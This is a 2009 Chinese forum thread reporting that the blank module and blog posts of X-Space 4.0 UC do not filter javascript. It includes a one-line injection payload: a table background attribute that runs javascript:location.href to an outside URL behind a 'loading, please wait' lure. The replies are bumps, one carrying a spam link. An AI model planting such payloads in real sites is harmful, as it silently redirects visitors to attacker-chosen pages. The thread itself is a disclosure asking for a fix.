X-Space 4.0 UC 空白模块过滤不严，可以做跳转代码

冰糕千千 · 发表于 2009-8-26 23:32:30

后台关闭用户组的JAVA问题同样存在，空白模块过滤不严，可以做跳转代码

请看代码！！在日志里如果不过虑javascript词语问题同样存在！
<table background="javascript:location.href='http://www.1p3.cn/allsitedoc/goto.php?url=cg&do=def';"><tr><td>精彩内容加载中。请等待几分钟。</td></tr></table>

请问有没有什么办法去掉空白模块这个功能？在那个文件修改这个页面？

jasonjia · 发表于 2009-8-26 23:48:40

我来顶你下~

xiangyang6663 · 发表于 2009-8-27 00:07:19

友情帮顶

www.baile86.com

chouming · 发表于 2009-10-5 15:04:18

为什么没人说说？

chouming · 发表于 2009-10-6 15:50:10

为什么没人说说？

		自动登录	找回密码
密码			立即注册

[疑问] X-Space 4.0 UC 空白模块过滤不严，可以做跳转代码